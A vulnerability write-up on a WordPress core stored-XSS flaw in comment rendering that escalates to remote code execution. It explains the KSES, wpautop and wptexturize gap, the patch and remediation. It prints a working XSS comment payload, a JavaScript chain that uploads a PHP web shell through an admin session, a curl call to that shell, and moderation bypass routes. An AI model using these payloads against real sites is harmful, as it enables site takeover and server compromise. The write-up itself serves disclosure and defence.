Overview
| Item | Detail |
|---|---|
| CVE ID | CVE-2026-93485 |
| Name | Comment2XSS (originally disclosed as Comment2Shell) |
| Affected product | WordPress Core |
| Affected versions | 4.7 through 7.1 (below each branch's patched release) |
| Fixed in | 7.1.1 (backported to every supported branch: 7.0.5, 6.9.8, down to 4.7.36) |
| CVSS 3.1 | 7.1 (High) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L |
| Type | CWE-79 (Stored XSS), escalable to RCE via an administrator session |
| Authentication required | None — an anonymous comment is enough |
| Reported by | Rafie Muhammad (Awesome Motive Inc.), via the WordPress HackerOne bug bounty |
WordPress sanitizes a comment with KSES when it's saved, then reformats it with the comment_text filter chain when it's displayed. Each step looks fine on its own, but the output-time filters interpret the saved result differently than the save-time sanitizer intended, and an attack hides in that gap.
The trigger is a single newline (\n) inside the cite attribute of a <blockquote>. That newline trips a regex bug in wpautop(), which turns what was originally plain text inside a <code> tag into a real HTML attribute on the <blockquote>. The result: an event handler like onfocus comes alive, and the script runs the moment the page loads — no click required.
What makes this worse is what happens next. If an administrator views that script while logged in, the script can borrow the admin's own plugin-install privilege. An anonymous visitor's comment can therefore chain all the way to remote code execution (RCE) on the server.
Where the flaw lives — the comment rendering pipeline
Here's how WordPress handles a comment, start to finish:
- When a comment is submitted, KSES (
wp-includes/kses.php) strips any tag or attribute that isn't on its allowlist. - When the stored comment is displayed, a chain of functions registered on the
comment_textfilter rewrites the HTML again.
// wp-includes/default-filters.php:225-230
add_filter( 'comment_text', 'wptexturize' );
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );
Two of these, wpautop() and wptexturize(), are the culprits. Both rewrite HTML, and the gap between their two different rewrites is exactly where the exploit lives.
Step-by-step source analysis
Step 1 — KSES doesn't block a newline inside cite
An attacker posts the following comment anonymously:
<blockquote cite="a
b"><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></blockquote>
blockquote[cite] is on KSES's allowlist, so the tag itself passes through. The problem is in how the attribute value gets re-encoded.
// wp-includes/kses.php:1721-1727
$syntax_characters = array(
'&' => '&',
'<' => '<',
'>' => '>',
"'" => ''',
'"' => '"',
);
wp_kses_hair() reads the attribute with get_attribute(), which decodes HTML character references, then re-escapes only the characters in the table above. A newline is not in that table. So cite="a\nb" keeps its literal newline when stored. (The encoded form cite="a b" works just as well, since WordPress converts it to a real newline before saving.)
At this point it's still just "a blockquote with a line break in an attribute" — nothing dangerous yet.
Step 2 — wpautop() swaps the newline for an HTML comment
wpautop() auto-wraps paragraphs in <p> tags, which means it first has to tell apart a newline that sits inside a tag from one that sits between paragraphs. It does this by temporarily replacing in-tag newlines:
// wp-includes/formatting.php:502
// Find newlines in all elements and add placeholders.
$text = wp_replace_in_html_tags( $text, array( "\n" => ' <!-- wpnl --> ' ) );
The \n inside cite becomes the HTML comment <!-- wpnl -->. Here's the detail that matters: that comment string itself contains a > — and that stray > is the bait for the next step.
Step 3 — [^>]* stops at the wrong > (the root cause)
wpautop() adds a blank line above block-level opening tags to split content into paragraphs, and blockquote is on that list.
// wp-includes/formatting.php:490
// Add a double line break above block-level opening tags.
$text = preg_replace( '!(<' . $allblocks . '[\s/>])!', "\n\n$1", $text );
Each paragraph then gets wrapped in <p>...</p>. A separate step cleans up the case where a <p> ends up wrapping a <blockquote> directly, by collapsing the two into one line. This is the regex that does it:
// wp-includes/formatting.php:563 (vulnerable version)
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
[^>]* means "any number of characters that are not >." For a normal blockquote, this should capture everything up to the tag's real closing >. But because step 2 planted a > inside <!-- wpnl -->, the regex stops right there instead.
The capture ends up being cite="a <!-- wpnl --, and the replacement (<blockquote$1><p>) places <p> right after it — in the middle of the cite attribute value. Once the function converts the placeholders back to newlines at the end, the result looks like this:
<blockquote cite="a
<p> b"><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></p></blockquote>
This still looks harmless — <p> is just four characters sitting inside a string that happens to be an attribute value. The next step is what turns it into a real tag boundary.
Step 4 — wptexturize() mistakes the stray <p> for a tag boundary
wptexturize() converts "straight quotes" into “curly quotes”. It runs automatically whenever a block theme (the default since WordPress 6.0) renders a template.
// wp-includes/block-template.php:297-299
$content = wptexturize( $content );
$content = convert_smilies( $content );
$content = wp_filter_content_tags( $content, 'template' );
(Some classic themes trigger it too, via the_content() — Twenty Twenty-One is one example.)
wptexturize() splits HTML into text nodes, and it reads the injected <p> as a genuine tag boundary. That makes the " right after it look like plain text rather than part of an attribute value, so it gets rewritten to the typographic entity ”.
There's one exception, though:
// wp-includes/formatting.php:106
$default_no_texturize_tags = array( 'pre', 'code', 'kbd', 'style', 'script', 'tt' );
The onfocus=... payload in the attack comment sits inside a <code> tag — which KSES already allowed on its comment allowlist. Because wptexturize() skips the content of code, the " inside it survives untouched. The fake closing " of <blockquote> gets neutralized into a curly quote, while the real " inside <code> stays straight and ends up acting as the actual attribute delimiter.
Step 5 — Final render: the event handler goes live
After all four filters have run, here is the HTML the browser actually parses:
<blockquote cite="a <p> b”>
onfocus=alert(document.domain) autofocus tabindex=0>
From the point where cite's value closes (the genuine " that was inside <code>), the browser reads onfocus, autofocus, and tabindex as real attributes of <blockquote>. Because autofocus is present, the element gets focus the instant the page loads, which fires onfocus with zero user interaction — a true zero-click execution.
Routes that skip comment approval entirely
By default, WordPress holds a first-time commenter's comment for moderation (comment_previously_approved defaults to 1), which would seem to block this attack until an admin approves it. The researcher documented three ways around that.
-
Reuse the default sample commenter. A fresh WordPress install ships with one pre-approved comment from "A WordPress Commenter." Since
check_comment()only checks the author name and email together, posting under that same name/email gets auto-approved. - The approval requirement is simply off. If "Comment author must have a previously approved comment" is unchecked in site settings, a brand-new identity is stored as approved right away.
-
A pending comment still renders for some visitors. Anyone holding a
comment_author_<hash>cookie (i.e., anyone who has ever commented on the site) can still see an unapproved comment via the author's own?unapproved=<id>&moderation-hash=<hash>link.
So "we have comment moderation turned on" doesn't actually close this gap.
From XSS to RCE — after an admin's session is involved
The script runs in whoever's browser loads the page. For a regular visitor, that's a limited blast radius. But if a logged-in administrator opens the post, things change.
The plugin-upload endpoint checks the upload_plugins capability, which map_meta_cap() maps to the install_plugins capability an administrator holds. The injected script can use that directly:
(async () => {
// 1. Pull the upload nonce out of the plugin installer form.
const html = await (await fetch('/wp-admin/plugin-install.php?tab=upload',
{ credentials: 'include' })).text();
const form = new DOMParser().parseFromString(html, 'text/html')
.querySelector('form.wp-upload-form');
const nonce = form.querySelector('[name="_wpnonce"]').value;
// 2. Build a one-file plugin zip in memory, containing a PHP web shell.
const php = "<?php /* Plugin Name: X */ if (isset($_GET['c'])) system($_GET['c']);";
const zip = buildStoredZip('x/x.php', php);
// 3. Submit it straight to the installer — no file editor, no FTP needed.
const body = new FormData();
body.append('_wpnonce', nonce);
body.append('pluginzip', new Blob([zip], { type: 'application/zip' }), 'x.zip');
await fetch('/wp-admin/update.php?action=upload-plugin',
{ method: 'POST', credentials: 'include', body });
})();
The plugin doesn't even need to be activated — the file is already on disk and reachable directly, so the shell answers immediately:
curl "https://example.com/wp-content/plugins/x/x.php?c=id"
Whatever value is passed in c executes as the web server user. What started as a single comment ends with shell access on the server.
The patch — making the regex quote-aware
WordPress 7.1.1 fixed this with a one-line change to the offending regex.
// Before — WordPress 7.1 and earlier
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// After — WordPress 7.1.1
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
The old [^>]* allowed only "any non-> character." The new pattern repeats one of three alternatives:
-
[^>"\']— an ordinary character that's neither a quote nor> -
"[^"]*"— an entire double-quoted attribute value,>inside included -
'[^\']*'— an entire single-quoted attribute value,>inside included
Once an attribute value is wrapped in quotes, any > inside it is no longer mistaken for the tag's real end. With the patched regex, the capture correctly extends across the whole cite="a <!-- wpnl --> b" value, and <p> lands only after the tag's genuine closing >. Since this line was the only place in wpautop() that inserts something inside a tag, a single-line fix was all it took.
Remediation
- Update to WordPress 7.1.1 if you're on 7.1, or to the corresponding patched release for your branch (7.0.5, 6.9.8, down to 4.7.36, and so on).
- If you can't update immediately, closing comments on individual posts, or disabling comments site-wide, removes the attack path entirely.
- A WAF or security plugin that blocks requests containing a newline inside a
citeattribute can serve as a temporary mitigation. - Updating stops new attacks but doesn't undo any changes already made by an attacker. Sites that may have been exposed should separately audit their installed plugins and files for anything unrecognized.


Top comments (0)